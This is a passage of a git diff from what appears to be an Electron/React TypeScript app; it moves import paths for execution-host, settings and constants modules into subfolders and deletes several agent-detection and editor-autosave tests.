'p5::/r/p5::local::client::literal' - ]) - }) - it('never watches for a virtual tab', () => { const state = makeState({ worktrees, diff --git a/src/renderer/src/hooks/editor-external-watch-dirty-resync.test.ts b/src/renderer/src/hooks/editor-external-watch-dirty-resync.test.ts index 266a058c36a..d6b3b9e7a9c 100644 --- a/src/renderer/src/hooks/editor-external-watch-dirty-resync.test.ts +++ b/src/renderer/src/hooks/editor-external-watch-dirty-resync.test.ts @@ -4,7 +4,7 @@ import { openGuardedFile, GUARDED_PATH } from '@/components/editor/save/queue/editor-save-guarded-disk-fixture' -import { createGlobalSettingsFixture } from '../../../shared/global-settings-test-fixture' +import '../../../shared/settings/global-settings-test-fixture' import { __clearSelfWriteRegistryForTests, recordSelfWrite @@ -24,39 +24,6 @@ afterEach(() => { vi.unstubAllGlobals() }) -it.each(['original', 'external rewrite'])( - 'compares a dirty tab after an unwatched period with autosave off (%s)', - async (content) => { - const store = createEditorStore() - storeRef.current = store - store.setState({ settings: createGlobalSettingsFixture({ editorAutoSave: false }) }) - openGuardedFile(store, { baseline: 'original', draft: 'my edits' }) - let finishRead: () => void = () => undefined - const readFile = vi.fn( - () => - new Promise((resolve) => { - finishRead = () => resolve({ content, isBinary: false }) - }) - ) - const writeFile = vi.fn() - vi.stubGlobal('window', { api: { fs: { readFile, writeFile } } }) - - reconcileEditorTabsAfterOverflow({ worktreeId: 'wt-1', worktreePath: '/repo' }, true) - expect(readFile).toHaveBeenCalled() - expect(store.getState().openFiles[0]?.externalMutation).toBeUndefined() - store.getState().setEditorDraft(GUARDED_PATH, 'still typing') - finishRead() - await vi.advanceTimersByTimeAsync(0) - - expect(store.getState().openFiles[0]?.externalMutation).toBe( - content === 'original' ? undefined : 'changed' - ) - expect(store.getState().openFiles[0]?.isDirty).toBe(true) - expect(store.getState().editorDrafts[GUARDED_PATH]).toBe('still typing') - expect(writeFile).not.toHaveBeenCalled() - } -) - it("treats the tab's own just-written save as an echo, not an external change", async () => { const store = createEditorStore() storeRef.current = store diff --git a/src/renderer/src/hooks/editor-external-watch-target-rows.ts b/src/renderer/src/hooks/editor-external-watch-target-rows.ts index 167c2966457..dad19fdcde3 100644 --- a/src/renderer/src/hooks/editor-external-watch-target-rows.ts +++ b/src/renderer/src/hooks/editor-external-watch-target-rows.ts @@ -5,7 +5,7 @@ import { isLocalExecutionHost, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { resolveQualifiedWorktreeExecutionOwner } from '@/lib/workspace/ownership/qualified-worktree-execution-owner' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { resolveQualifiedIndexedFolderWorkspace } from '@/store/folder-workspaces/folder-workspace-record-index' diff --git a/src/renderer/src/hooks/editor-external-watch-targets.ts b/src/renderer/src/hooks/editor-external-watch-targets.ts index 94463393633..6c775e020e2 100644 --- a/src/renderer/src/hooks/editor-external-watch-targets.ts +++ b/src/renderer/src/hooks/editor-external-watch-targets.ts @@ -12,7 +12,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { isGitRepoKind } from '../../../shared/repository/repo-kind' import { canWatchLocalWindowsWslAliases, diff --git a/src/renderer/src/hooks/ipc-events/agent-dashboard-command.ts b/src/renderer/src/hooks/ipc-events/agent-dashboard-command.ts index 6153cd051d1..870236ca89d 100644 --- a/src/renderer/src/hooks/ipc-events/agent-dashboard-command.ts +++ b/src/renderer/src/hooks/ipc-events/agent-dashboard-command.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { AppState } from '../../store/types' import { resolveAgentDashboardMode } from '../../components/dashboard/settings/agent-dashboard-open-mode' diff --git a/src/renderer/src/hooks/ipc-events/browser-link-materialization.test-fixture.tsx b/src/renderer/src/hooks/ipc-events/browser-link-materialization.test-fixture.tsx index e0b7e12cc4e..236eda4892e 100644 --- a/src/renderer/src/hooks/ipc-events/browser-link-materialization.test-fixture.tsx +++ b/src/renderer/src/hooks/ipc-events/browser-link-materialization.test-fixture.tsx @@ -1,4 +1,4 @@ -import { buildDefaultSettings } from '../../../../shared/default-global-settings' +import { buildDefaultSettings } from '../../../../shared/settings/default-global-settings' import { createRoot } from 'react-dom/client' import { useAppStore } from '@/store/index' import { TooltipProvider } from '@/components/ui/tooltip' diff --git a/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts index 4a9cf218b1d..6c4417e5982 100644 --- a/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts @@ -11,7 +11,7 @@ import { openClientHostedUrlBesideBrowserPage } from '@/lib/browser/palette/open-client-hosted-link-beside-page' import { redactKagiSessionToken } from '../../../../shared/browser/navigation/browser-url' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { useAppStore } from '../../store/index' import { findPage } from '../../store/slices/browser/pages/browser-page-records' import { diff --git a/src/renderer/src/hooks/ipc-events/content-creation-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/content-creation-ipc-bridge.ts index bbd1b6cf268..82a5b7cb71a 100644 --- a/src/renderer/src/hooks/ipc-events/content-creation-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/content-creation-ipc-bridge.ts @@ -3,7 +3,7 @@ import { isManualSimulatorLaunchPending, rememberPrelaunchedSimulatorSession } from '@/lib/simulator/launch/simulator-launch-coordination' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' export function registerContentCreationIpcBridge( unsubs: (() => void)[], diff --git a/src/renderer/src/hooks/ipc-events/linear-linked-issue-refresh-targets.ts b/src/renderer/src/hooks/ipc-events/linear-linked-issue-refresh-targets.ts index a5086e39497..dd459a6f62f 100644 --- a/src/renderer/src/hooks/ipc-events/linear-linked-issue-refresh-targets.ts +++ b/src/renderer/src/hooks/ipc-events/linear-linked-issue-refresh-targets.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { getWorkspaceAttachments } from '../../../../shared/workspace-attachments/workspace-attachments' diff --git a/src/renderer/src/hooks/ipc-events/mobile-terminal-close-ipc-bridge.test.ts b/src/renderer/src/hooks/ipc-events/mobile-terminal-close-ipc-bridge.test.ts index 7e2091af115..cc641ff31e3 100644 --- a/src/renderer/src/hooks/ipc-events/mobile-terminal-close-ipc-bridge.test.ts +++ b/src/renderer/src/hooks/ipc-events/mobile-terminal-close-ipc-bridge.test.ts @@ -1,6 +1,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { RuntimeNavigationTarget } from '../../../../shared/remote-runtime/session-graph/runtime-navigation' -import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { createTestStore, seedStore } from '../../store/testing/app-store-test-fixture' import { makeWorktree } from '../../store/slices/worktrees/worktree.test-fixture' import { createStoreSessionMockApi } from '../../store/testing/app-store-session-api.test-fixture' diff --git a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts index 83f09f0255b..8b6e1da31db 100644 --- a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts @@ -21,7 +21,10 @@ import { hostsBrowserPagesFor } from '@/runtime/browser/client-hosting/browser-c import { toRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import { getEnvironmentSshStateGeneration } from '@/store/slices/ssh/runtime-environment-ssh' import { getRuntimeEnvironmentConnectionGeneration } from '@/store/slices/runtime-status/runtime-status-connection-generation' -import { getRepoExecutionHostId, toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + toRuntimeExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import { navigationTargetsClients } from '../../../../shared/remote-runtime/session-graph/runtime-navigation' import { useAppStore } from '../../store/index' diff --git a/src/renderer/src/hooks/ipc-events/runtime-file-position.ts b/src/renderer/src/hooks/ipc-events/runtime-file-position.ts index 7ae7a24e568..cf206b460b6 100644 --- a/src/renderer/src/hooks/ipc-events/runtime-file-position.ts +++ b/src/renderer/src/hooks/ipc-events/runtime-file-position.ts @@ -1,5 +1,5 @@ import type { RuntimeFileOpenPosition } from '../../../../shared/file-access/runtime-editor-file-open' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { scheduleEditorLineReveal } from '@/store/slices/editor/focus/editor-focus-reveal' import { selectFloatingWorkspacePanelVisible } from '@/store/workspaces/floating/floating-workspace-panel-selector' import { diff --git a/src/renderer/src/hooks/ipc-events/ssh-managed-server-state-effects.ts b/src/renderer/src/hooks/ipc-events/ssh-managed-server-state-effects.ts index d33220c2481..83e9f00716f 100644 --- a/src/renderer/src/hooks/ipc-events/ssh-managed-server-state-effects.ts +++ b/src/renderer/src/hooks/ipc-events/ssh-managed-server-state-effects.ts @@ -11,7 +11,7 @@ import { getRepoExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { toastSshHostMoveRefused } from './ssh-managed-server-refusal-toast' import { useAppStore } from '../../store' import { withoutConvertedSshHostRows } from '../../store/repos/converted-ssh-host-rows' diff --git a/src/renderer/src/hooks/ipc-events/terminal-pane-reveal-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/terminal-pane-reveal-ipc-bridge.ts index 7d1fc4c28f3..0a657a88cea 100644 --- a/src/renderer/src/hooks/ipc-events/terminal-pane-reveal-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/terminal-pane-reveal-ipc-bridge.ts @@ -1,7 +1,7 @@ import { revealTerminalPane } from '@/lib/workspace/activation/reveal-terminal-pane' import { runtimeEnvironmentIdUnlessTwin } from '@/lib/workspace/ownership/resolve-owner' import { useAppStore } from '../../store' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { TerminalPaneRevealTarget } from '../../../../shared/workspace-layout/terminal-surfaces/terminal-pane-reveal' import { isWebTerminalSurfaceTabId, diff --git a/src/renderer/src/hooks/ipc-events/worktree-event-runtime.ts b/src/renderer/src/hooks/ipc-events/worktree-event-runtime.ts index 2cfb5c2f9db..437fd410b18 100644 --- a/src/renderer/src/hooks/ipc-events/worktree-event-runtime.ts +++ b/src/renderer/src/hooks/ipc-events/worktree-event-runtime.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' export const recentlyRenamedWorktreeIdExpiry = new Map() import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' diff --git a/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts b/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts index 3f82a1ea1f6..e509d2cb039 100644 --- a/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts +++ b/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import { readWorkspaceMetadataSet } from '../../../../shared/worktree/metadata/workspace-metadata-set' import { useAppStore } from '../../store' diff --git a/src/renderer/src/hooks/ipc-events/wsl-host-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/wsl-host-ipc-bridge.ts index 4ca90871b73..479871dc5ff 100644 --- a/src/renderer/src/hooks/ipc-events/wsl-host-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/wsl-host-ipc-bridge.ts @@ -4,7 +4,7 @@ import type { WslHostStatus } from '../../../../shared/remote-runtime/wsl-hosts/wsl-host-types' import { isWslHostRuntimeEnvironment } from '../../../../shared/remote-runtime/host-catalog/runtime-environments' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { workspaceOwnerHostId } from '../../lib/workspace/ownership/workspace-row-owner-host' import type { AppState } from '../../store/types' import { useAppStore } from '../../store' diff --git a/src/renderer/src/hooks/resolve-zoom-target.ts b/src/renderer/src/hooks/resolve-zoom-target.ts index a23e55a1f35..5bab862127b 100644 --- a/src/renderer/src/hooks/resolve-zoom-target.ts +++ b/src/renderer/src/hooks/resolve-zoom-target.ts @@ -1,4 +1,4 @@ -import type { TopLevelView } from '../../../shared/ui-chrome-types' +import type { TopLevelView } from '../../../shared/ui-chrome/ui-chrome-types' import type { WorkspaceVisibleTabType } from '../../../shared/workspace-layout/tab-groups/tab-types' function closestFocusedElement(element: unknown, selector: string): unknown { diff --git a/src/renderer/src/hooks/runtime-project-refresh-scheduler.ts b/src/renderer/src/hooks/runtime-project-refresh-scheduler.ts index f7bb3e0bd85..535e7777ac3 100644 --- a/src/renderer/src/hooks/runtime-project-refresh-scheduler.ts +++ b/src/renderer/src/hooks/runtime-project-refresh-scheduler.ts @@ -1,4 +1,7 @@ -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' export type RuntimeProjectRefreshSchedulerDeps = { refresh: (environmentId: string) => Promise diff --git a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx index 53933518d58..02c7fb72a16 100644 --- a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx +++ b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx @@ -10,7 +10,7 @@ import type { SkillDiscoveryTarget } from '../../../../../shared/skills/discovery/skills' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/hooks/skills/runtime/use-onboarding-skill-runtime.ts b/src/renderer/src/hooks/skills/runtime/use-onboarding-skill-runtime.ts index cd4b0955a68..fe1affe859e 100644 --- a/src/renderer/src/hooks/skills/runtime/use-onboarding-skill-runtime.ts +++ b/src/renderer/src/hooks/skills/runtime/use-onboarding-skill-runtime.ts @@ -1,5 +1,5 @@ import { useMemo } from 'react' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { nativeChatPreferenceFor } from '../../../../../shared/agent-launch/choices/structured-native-chat-launch-route' import { chatProviderAgents, diff --git a/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts b/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts index 41f757c2733..634270a7f14 100644 --- a/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts +++ b/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts @@ -1,7 +1,7 @@ import { useMemo, useState } from 'react' import { useShallow } from 'zustand/react/shallow' import { useActiveSkillDiscoveryRuntimeTarget } from '../discovery/use-active-skill-discovery-runtime-target' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { getGlobalWindowsExecutionRuntimeContext, getLocalProjectExecutionRuntimeContext diff --git a/src/renderer/src/hooks/use-supported-group-hook-settings.ts b/src/renderer/src/hooks/use-supported-group-hook-settings.ts index 50c3ba7db1a..5c6e65515cc 100644 --- a/src/renderer/src/hooks/use-supported-group-hook-settings.ts +++ b/src/renderer/src/hooks/use-supported-group-hook-settings.ts @@ -3,7 +3,10 @@ import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/executi import { useEffect, useMemo, useRef, useState } from 'react' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import { projectGroupHookOwner } from '../../../shared/workspace-setup/hooks/workspace-hook-owner' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { PROJECT_GROUP_FOLDER_SETUP_RUNTIME_CAPABILITY, PROJECT_GROUP_FOLDER_ARCHIVE_RUNTIME_CAPABILITY diff --git a/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts b/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts index ab1185c4469..54f259dc5d2 100644 --- a/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts +++ b/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts @@ -1,13 +1,13 @@ import { useCallback, useEffect, useMemo } from 'react' import { useTranslation } from 'react-i18next' import { useShallow } from 'zustand/react/shallow' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TerminalQuickCommand } from '../../../shared/terminal/quick-commands/terminal-quick-command-types' import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getHostDisplayLabelOverrides } from '../../../shared/execution-host/host-setting-overrides' import { buildExecutionHostRegistry } from '../../../shared/execution-host/execution-host-registry' import type { PublicKnownRuntimeEnvironment } from '../../../shared/remote-runtime/host-catalog/runtime-environments' diff --git a/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts b/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts index a9c1e3b2056..d0e275bceb6 100644 --- a/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts +++ b/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts @@ -5,7 +5,7 @@ import { getTerminalQuickCommandScope, isTerminalQuickCommandComplete } from '../../../shared/terminal/quick-commands/terminal-quick-commands' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { TerminalQuickCommandHost, TerminalQuickCommandMenuHost diff --git a/src/renderer/src/hooks/useAgentDetectionTarget.ts b/src/renderer/src/hooks/useAgentDetectionTarget.ts index fa4bdc183db..8062cf6f87b 100644 --- a/src/renderer/src/hooks/useAgentDetectionTarget.ts +++ b/src/renderer/src/hooks/useAgentDetectionTarget.ts @@ -5,10 +5,10 @@ import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktre import { runtimeEnvironmentIdForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state' import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import type { AgentDetectionTarget } from './useDetectedAgents' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' export const AGENT_DETECTION_LOCAL_TARGET_KEY = 'local' diff --git a/src/renderer/src/hooks/useDetectedAgents.local-invalidation.test.tsx b/src/renderer/src/hooks/useDetectedAgents.local-invalidation.test.tsx deleted file mode 100644 index 94def9eeb60..00000000000 --- a/src/renderer/src/hooks/useDetectedAgents.local-invalidation.test.tsx +++ /dev/null @@ -1,234 +0,0 @@ -// @vitest-environment happy-dom -import { EVERY_AGENT_CHAT } from '../../../shared/native-chat/every-agent-chat.test-fixture' -import { act, cleanup, renderHook } from '@testing-library/react' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { useAppStore } from '@/store' -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' -import { TEST_REPO } from '@/store/repos/repo.test-fixture' -import { useNewTabAgentMenuRows } from '@/components/tab-bar/use-new-tab-agent-menu-rows' -import { - useSourceControlActionAgent, - useSourceControlActionAgentInventory -} from '@/components/settings/source-control/use-source-control-action-agent' -import { readNativeDetectedAgents } from '@/store/slices/agent-inventory/local-detected-agent-store-state' -import { useHostStructuredAgentsSync } from '@/runtime/native-chat/agent-catalogs/host-structured-agents-sync' -import { - readHostStructuredAgentsForRuntime, - resetHostStructuredAgentsForTests -} from '@/runtime/native-chat/agent-catalogs/host-structured-agents' -import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/hosts/capabilities/local-runtime-capabilities' -import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../../shared/constants' -import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../shared/agent-session/structured-agent-session-surface-capabilities' -import type { Project } from '../../../shared/project/project-types' -import { useDetectedAgents, type AgentDetectionTarget } from './useDetectedAgents' - -const initialState = useAppStore.getInitialState() -const detectAgents = vi.fn() -const updateProject = vi.fn() - -beforeEach(() => { - useAppStore.setState(initialState, true) - useAppStore.getState().clearLocalDetectedAgents() - detectAgents.mockReset().mockResolvedValue(['codex']) - updateProject.mockReset() - Object.assign(window, { - api: { - preflight: { detectAgents }, - projects: { update: updateProject }, - platform: { get: () => ({ platform: 'win32' }) } - } - }) -}) - -afterEach(() => { - cleanup() - resetHostStructuredAgentsForTests() - setLocalRuntimeCapabilitiesForTests(null) - useAppStore.getState().clearLocalDetectedAgents() - useAppStore.setState(initialState, true) -}) - -const localTargets: AgentDetectionTarget[] = [ - { kind: 'local' }, - { kind: 'local', worktreeId: FLOATING_TERMINAL_WORKTREE_ID, contextKey: 'host' } -] - -it.each(localTargets)('restarts an invalidated first probe for $worktreeId', async (target) => { - let finishOldProbe: (agents: string[]) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((resolve) => { - finishOldProbe = resolve - }) - ) - const { result } = renderHook(() => useDetectedAgents(target)) - expect(result.current).toMatchObject({ detectedIds: null, isLoading: true }) - - await act(async () => { - useAppStore.getState().clearLocalDetectedAgents() - }) - expect(detectAgents).toHaveBeenCalledTimes(2) - expect(result.current).toMatchObject({ detectedIds: ['codex'], isLoading: false }) - - await act(async () => { - finishOldProbe(['claude']) - }) - expect(result.current.detectedIds).toEqual(['codex']) -}) - -it('retargets a mounted first load when the project switches to WSL', async () => { - const project: Project = { - id: TEST_REPO.id, - displayName: TEST_REPO.displayName, - badgeColor: TEST_REPO.badgeColor, - sourceRepoIds: [TEST_REPO.id], - createdAt: 0, - updatedAt: 0, - localWindowsRuntimePreference: { kind: 'windows-host' } - } - const worktree = makeWorktree({ id: 'wt1', repoId: TEST_REPO.id, path: 'C:\\project' }) - useAppStore.setState({ - activeRepoId: TEST_REPO.id, - activeWorktreeId: worktree.id, - repos: [{ ...TEST_REPO, path: worktree.path }], - projects: [project], - worktreesByRepo: { [TEST_REPO.id]: [worktree] }, - settings: { - ...getDefaultSettings('/home/test'), - localWindowsRuntimeDefault: { kind: 'windows-host' } - } - }) - let finishHostProbe: (agents: string[]) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((resolve) => { - finishHostProbe = resolve - }) - ) - const { result } = renderHook(() => ({ - detection: useDetectedAgents({ kind: 'local' }), - menu: useNewTabAgentMenuRows(worktree.id, false, { kind: 'local' }) - })) - expect(result.current.detection.isLoading).toBe(true) - expect(result.current.menu.state).toBe('loading') - const preference = { kind: 'wsl', distro: 'Ubuntu' } as const - updateProject.mockResolvedValue({ ...project, localWindowsRuntimePreference: preference }) - - await act(async () => { - await expect( - useAppStore - .getState() - .updateProject(project.id, { localWindowsRuntimePreference: preference }, 'local') - ).resolves.toBe(true) - }) - expect(detectAgents).toHaveBeenCalledTimes(2) - expect(detectAgents).toHaveBeenLastCalledWith( - expect.objectContaining({ - projectRuntime: expect.objectContaining({ - runtime: expect.objectContaining({ kind: 'wsl', distro: 'Ubuntu' }) - }) - }) - ) - expect(result.current.detection).toMatchObject({ detectedIds: ['codex'], isLoading: false }) - expect(result.current.menu).toMatchObject({ - state: 'settled', - rows: expect.arrayContaining([expect.objectContaining({ agent: 'codex' })]) - }) - - await act(async () => { - finishHostProbe(['claude']) - }) - expect(result.current.detection.detectedIds).toEqual(['codex']) -}) - -it('recovers mounted native consumers after availability changes alongside WSL launch and Settings inventories', async () => { - const project: Project = { - id: TEST_REPO.id, - displayName: TEST_REPO.displayName, - badgeColor: TEST_REPO.badgeColor, - sourceRepoIds: [TEST_REPO.id], - createdAt: 0, - updatedAt: 0, - localWindowsRuntimePreference: { kind: 'wsl', distro: 'Ubuntu' } - } - const settings = { - ...getDefaultSettings('/home/test'), - nativeChatProviders: EVERY_AGENT_CHAT, - localWindowsRuntimeDefault: { kind: 'windows-host' } as const - } - useAppStore.setState({ - activeRepoId: TEST_REPO.id, - repos: [{ ...TEST_REPO, path: 'C:\\project' }], - projects: [project], - settings - }) - setLocalRuntimeCapabilitiesForTests([ - STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY - ]) - Object.assign(window.api, { - runtime: { - call: vi.fn(async () => ({ - id: 'registered-agents', - ok: true, - result: { agents: [{ agent: 'pi', capabilities: {} }] } - })) - } - }) - let nativeAgents = ['pi', 'codex'] - detectAgents.mockImplementation((context) => - Promise.resolve( - context?.projectRuntime?.runtime.kind === 'wsl' - ? context.enabledOnly - ? ['claude'] - : ['claude', 'kiro'] - : nativeAgents - ) - ) - const { result } = renderHook(() => { - useHostStructuredAgentsSync() - useSourceControlActionAgentInventory() - return { - native: useSourceControlActionAgent('pi', 'codex'), - workspace: useDetectedAgents({ kind: 'local' }), - settings: useDetectedAgents({ kind: 'local' }, 'all') - } - }) - await act(async () => {}) - expect(result.current.native).toMatchObject({ status: 'ready', agent: 'pi' }) - expect(readHostStructuredAgentsForRuntime('local', null)?.map((row) => row.agent)).toEqual(['pi']) - - nativeAgents = ['codex'] - await act(async () => { - useAppStore.setState({ settings: { ...settings, disabledTuiAgents: ['pi', 'kiro'] } }) - }) - expect(readNativeDetectedAgents(useAppStore.getState())).toEqual(['codex']) - expect(result.current.native).toMatchObject({ status: 'ready', agent: 'codex' }) - expect(result.current.workspace).toMatchObject({ detectedIds: ['claude'], isLoading: false }) - expect(result.current.settings).toMatchObject({ - detectedIds: ['claude', 'kiro'], - isLoading: false - }) - const probesAfterDisable = detectAgents.mock.calls.length - await act(async () => { - useAppStore.setState({ settings: { ...settings, disabledTuiAgents: ['kiro', 'pi'] } }) - }) - expect(detectAgents).toHaveBeenCalledTimes(probesAfterDisable) - - nativeAgents = ['pi', 'codex'] - await act(async () => { - useAppStore.setState({ settings: { ...settings, disabledTuiAgents: ['kiro'] } }) - }) - expect(readNativeDetectedAgents(useAppStore.getState())).toEqual(['pi', 'codex']) - expect(result.current.native).toMatchObject({ status: 'ready', agent: 'pi' }) - expect(result.current.workspace).toMatchObject({ detectedIds: ['claude'], isLoading: false }) - expect(result.current.settings).toMatchObject({ - detectedIds: ['claude', 'kiro'], - isLoading: false - }) - expect(useAppStore.getState().detectedAgentIds).toEqual(['claude']) - expect(useAppStore.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(useAppStore.getState().isRefreshingLocalAgentsByContext).toEqual({}) - expect(detectAgents.mock.calls.filter(([context]) => !context?.projectRuntime)).toEqual([ - [{ enabledOnly: true }], - [{ enabledOnly: true }], - [{ enabledOnly: true }] - ]) -}) diff --git a/src/renderer/src/hooks/useDetectedAgents.test.tsx b/src/renderer/src/hooks/useDetectedAgents.test.tsx index 86f3346d8f5..0500d6e80b9 100644 --- a/src/renderer/src/hooks/useDetectedAgents.test.tsx +++ b/src/renderer/src/hooks/useDetectedAgents.test.tsx @@ -14,7 +14,7 @@ import { RUNTIME_PROTOCOL_VERSION } from '../../../shared/remote-runtime/protocol/protocol-version' import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import '../../../shared/orca-profiles/constants' globalThis.IS_REACT_ACT_ENVIRONMENT = true @@ -111,94 +111,6 @@ beforeEach(() => { } as unknown as Window['api'] }) -describe('Floating Workspace authority', () => { - it('advertises native Windows agents beside an active WSL project', async () => { - const activeResult: { current: UseDetectedAgentsResult | null } = { current: null } - const floatingResult: { current: UseDetectedAgentsResult | null } = { current: null } - 